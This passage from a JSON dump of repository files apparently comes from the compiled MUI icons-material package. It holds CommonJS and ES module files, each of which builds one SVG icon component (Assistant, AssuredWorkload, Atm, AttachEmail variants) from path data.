    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'AssistantPhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.4 6 14 4H5v17h2v-7h5.6l.4 2h7V6z\"\n}), 'AssistantPhotoSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.24 12 .4 2H18V8h-5.24l-.4-2H7v6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14h5.6l.4 2h7V6h-5.6L14 4H5v17h2zm0-8h5.36l.4 2H18v6h-3.36l-.4-2H7z\"\n}, \"1\")], 'AssistantPhotoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantPhotoTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.24 12 .4 2H18V8h-5.24l-.4-2H7v6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14h5.6l.4 2h7V6h-5.6L14 4H5v17h2zm0-8h5.36l.4 2H18v6h-3.36l-.4-2H7z\"\n}, \"1\")], 'AssistantPhotoTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l2.29 2.29c.39.39 1.02.39 1.41 0L15 20h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5.12 10.88L12 17l-1.88-4.12L6 11l4.12-1.88L12 5l1.88 4.12L18 11z\"\n}), 'AssistantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h4l2.29 2.29c.39.39 1.02.39 1.41 0L15 20h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2m-5.12 10.88L12 17l-1.88-4.12L6 11l4.12-1.88L12 5l1.88 4.12L18 11z\"\n}), 'AssistantRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2H3v18h6l3 3 3-3h6zm-7.12 10.88L12 17l-1.88-4.12L6 11l4.12-1.88L12 5l1.88 4.12L18 11z\"\n}), 'AssistantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2H3v18h6l3 3 3-3h6zm-7.12 10.88L12 17l-1.88-4.12L6 11l4.12-1.88L12 5l1.88 4.12L18 11z\"\n}), 'AssistantSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.83 18 .59.59L12 20.17l1.59-1.59.58-.58H19V4H5v14zm.29-8.88L12 5l1.88 4.12L18 11l-4.12 1.88L12 17l-1.88-4.12L6 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 20h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 4h14v14h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5zm7 13 1.88-4.12L18 11l-4.12-1.88L12 5l-1.88 4.12L6 11l4.12 1.88z\"\n}, \"1\")], 'AssistantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssistantTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m9.83 18 .59.59L12 20.17l1.59-1.59.58-.58H19V4H5v14zm.29-8.88L12 5l1.88 4.12L18 11l-4.12 1.88L12 17l-1.88-4.12L6 11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 20h4l3 3 3-3h4c1.1 0 2-.9 2-2V4c0-1.1-.9-2-2-2H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2M5 4h14v14h-4.83l-.59.59L12 20.17l-1.59-1.59-.58-.58H5zm7 13 1.88-4.12L18 11l-4.12-1.88L12 5l-1.88 4.12L6 11l4.12 1.88z\"\n}, \"1\")], 'AssistantTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkload.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}), 'AssuredWorkload');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkload.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}), 'AssuredWorkload');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM6.47 6 12 3.24 17.53 6zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}), 'AssuredWorkloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM6.47 6 12 3.24 17.53 6zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}), 'AssuredWorkloadOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 17c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1m6 0c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1m9.32-11.34L12.9 1.45c-.56-.28-1.23-.28-1.79 0L2.68 5.66c-.42.21-.68.64-.68 1.1C2 7.45 2.55 8 3.24 8h17.53C21.45 8 22 7.45 22 6.76c0-.46-.26-.89-.68-1.1M2 20c0 .55.45 1 1 1h11.4c-.21-.64-.32-1.31-.36-2H3c-.55 0-1 .45-1 1m17-7.74V11c0-.55-.45-1-1-1s-1 .45-1 1v2.26zm.55 1.96-3 1.5c-.34.17-.55.52-.55.9v1.93c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45v-1.93c0-.38-.21-.73-.55-.89l-3-1.5c-.28-.15-.62-.15-.9-.01m-.97 6.08-.8-.8c-.29-.29-.29-.77 0-1.06s.77-.29 1.06 0l.44.44 1.88-1.85c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-2.23 2.21c-.39.39-1.02.39-1.41 0\"\n}), 'AssuredWorkloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 17c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1m6 0c.55 0 1-.45 1-1v-5c0-.55-.45-1-1-1s-1 .45-1 1v5c0 .55.45 1 1 1m9.32-11.34L12.9 1.45c-.56-.28-1.23-.28-1.79 0L2.68 5.66c-.42.21-.68.64-.68 1.1C2 7.45 2.55 8 3.24 8h17.53C21.45 8 22 7.45 22 6.76c0-.46-.26-.89-.68-1.1M2 20c0 .55.45 1 1 1h11.4c-.21-.64-.32-1.31-.36-2H3c-.55 0-1 .45-1 1m17-7.74V11c0-.55-.45-1-1-1s-1 .45-1 1v2.26zm.55 1.96-3 1.5c-.34.17-.55.52-.55.9v1.93c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45v-1.93c0-.38-.21-.73-.55-.89l-3-1.5c-.28-.15-.62-.15-.9-.01m-.97 6.08-.8-.8c-.29-.29-.29-.77 0-1.06s.77-.29 1.06 0l.44.44 1.88-1.85c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-2.23 2.21c-.39.39-1.02.39-1.41 0\"\n}), 'AssuredWorkloadRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}), 'AssuredWorkloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}), 'AssuredWorkloadSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.47 6h11.06L12 3.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM6.47 6 12 3.24 17.53 6zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}, \"1\")], 'AssuredWorkloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AssuredWorkloadTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.47 6h11.06L12 3.24z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 10h2v7H5zm6 0h2v7h-2zm11-4L12 1 2 6v2h20zM6.47 6 12 3.24 17.53 6zM2 19v2h12.4c-.21-.64-.32-1.31-.36-2zm17-6.74V10h-2v3.26zM20 14l-4 2v2.55c0 2.52 1.71 4.88 4 5.45 2.29-.57 4-2.93 4-5.45V16zm-.72 7-2.03-2.03 1.06-1.06.97.97 2.41-2.38 1.06 1.06z\"\n}, \"1\")], 'AssuredWorkloadTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Atm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9v1.5h2.25V15h1.5v-4.5H14V9zM6 9H3c-.55 0-1 .45-1 1v5h1.5v-1.5h2V15H7v-5c0-.55-.45-1-1-1m-.5 3h-2v-1.5h2zM21 9h-4.5c-.55 0-1 .45-1 1v5H17v-4.5h1V14h1.5v-3.51h1V15H22v-5c0-.55-.45-1-1-1\"\n}), 'Atm');"
  },
  {
    "path": "packages/mui-icons-material/lib/Atm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9v1.5h2.25V15h1.5v-4.5H14V9zM6 9H3c-.55 0-1 .45-1 1v5h1.5v-1.5h2V15H7v-5c0-.55-.45-1-1-1m-.5 3h-2v-1.5h2zM21 9h-4.5c-.55 0-1 .45-1 1v5H17v-4.5h1V14h1.5v-3.51h1V15H22v-5c0-.55-.45-1-1-1\"\n}), 'Atm');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9v1.5h2.25V15h1.5v-4.5H14V9zM6 9H3c-.55 0-1 .45-1 1v5h1.5v-1.5h2V15H7v-5c0-.55-.45-1-1-1m-.5 3h-2v-1.5h2zM21 9h-4.5c-.55 0-1 .45-1 1v5H17v-4.5h1V14h1.5v-3.51h1V15H22v-5c0-.55-.45-1-1-1\"\n}), 'AtmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9v1.5h2.25V15h1.5v-4.5H14V9zM6 9H3c-.55 0-1 .45-1 1v5h1.5v-1.5h2V15H7v-5c0-.55-.45-1-1-1m-.5 3h-2v-1.5h2zM21 9h-4.5c-.55 0-1 .45-1 1v5H17v-4.5h1V14h1.5v-3.51h1V15H22v-5c0-.55-.45-1-1-1\"\n}), 'AtmOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9.75c0 .41.34.75.75.75h1.5v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5h1.5c.41 0 .75-.34.75-.75S13.66 9 13.25 9h-4.5c-.41 0-.75.34-.75.75M6 9H3c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75v-.75h2v.75c0 .41.34.75.75.75s.75-.34.75-.75V10c0-.55-.45-1-1-1m-.5 3h-2v-1.5h2zM21 9h-4.5c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V10.5h1v2.75c0 .41.34.75.75.75s.75-.34.75-.75v-2.76h1v3.76c0 .41.34.75.75.75s.75-.34.75-.75V10c0-.55-.45-1-1-1\"\n}), 'AtmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9.75c0 .41.34.75.75.75h1.5v3.75c0 .41.34.75.75.75s.75-.34.75-.75V10.5h1.5c.41 0 .75-.34.75-.75S13.66 9 13.25 9h-4.5c-.41 0-.75.34-.75.75M6 9H3c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75v-.75h2v.75c0 .41.34.75.75.75s.75-.34.75-.75V10c0-.55-.45-1-1-1m-.5 3h-2v-1.5h2zM21 9h-4.5c-.55 0-1 .45-1 1v4.25c0 .41.34.75.75.75s.75-.34.75-.75V10.5h1v2.75c0 .41.34.75.75.75s.75-.34.75-.75v-2.76h1v3.76c0 .41.34.75.75.75s.75-.34.75-.75V10c0-.55-.45-1-1-1\"\n}), 'AtmRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 9v1.5h2.25V15h1.5v-4.5H14V9zM7 9H2v6h1.5v-1.5h2V15H7zm-1.5 3h-2v-1.5h2zM22 9h-6.5v6H17v-4.5h1V14h1.5v-3.51h1V15H22z\"\n}), 'AtmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 9v1.5h2.25V15h1.5v-4.5H14V9zM7 9H2v6h1.5v-1.5h2V15H7zm-1.5 3h-2v-1.5h2zM22 9h-6.5v6H17v-4.5h1V14h1.5v-3.51h1V15H22z\"\n}), 'AtmSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3.5 13.5h2V15H7v-5c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v5h1.5zm0-3h2V12h-2zm13.5 0h1V14h1.5v-3.51h1V15H22v-5c0-.55-.45-1-1-1h-4.5c-.55 0-1 .45-1 1v5H17zM10.25 15h1.5v-4.5H14V9H8v1.5h2.25z\"\n}), 'AtmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AtmTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3.5 13.5h2V15H7v-5c0-.55-.45-1-1-1H3c-.55 0-1 .45-1 1v5h1.5zm0-3h2V12h-2zm13.5 0h1V14h1.5v-3.51h1V15H22v-5c0-.55-.45-1-1-1h-4.5c-.55 0-1 .45-1 1v5H17zM10.25 15h1.5v-4.5H14V9H8v1.5h2.25z\"\n}), 'AtmTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmail.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 10V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h11v-5c0-1.66 1.34-3 3-3zm-10 1L3 6V4l8 5 8-5v2z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmail');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmail.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 10V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h11v-5c0-1.66 1.34-3 3-3zm-10 1L3 6V4l8 5 8-5v2z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmail');"
  },
  {
    "path": "packages/mui-icons-material/lib/AttachEmailOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m3 6 8 5 8-5v3h2V4c0-1.1-.9-2-2-2H3c-1.1 0-1.99.9-1.99 2L1 16c0 1.1.9 2 2 2h10v-2H3zm16-2-8 5-8-5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14v4c0 1.1-.9 2-2 2s-2-.9-2-2v-4.5c0-.28.22-.5.5-.5s.5.22.5.5V18h2v-4.5c0-1.38-1.12-2.5-2.5-2.5S15 12.12 15 13.5V18c0 2.21 1.79 4 4 4s4-1.79 4-4v-4z\"\n}, \"1\")], 'AttachEmailOutlined');"
  },
  {
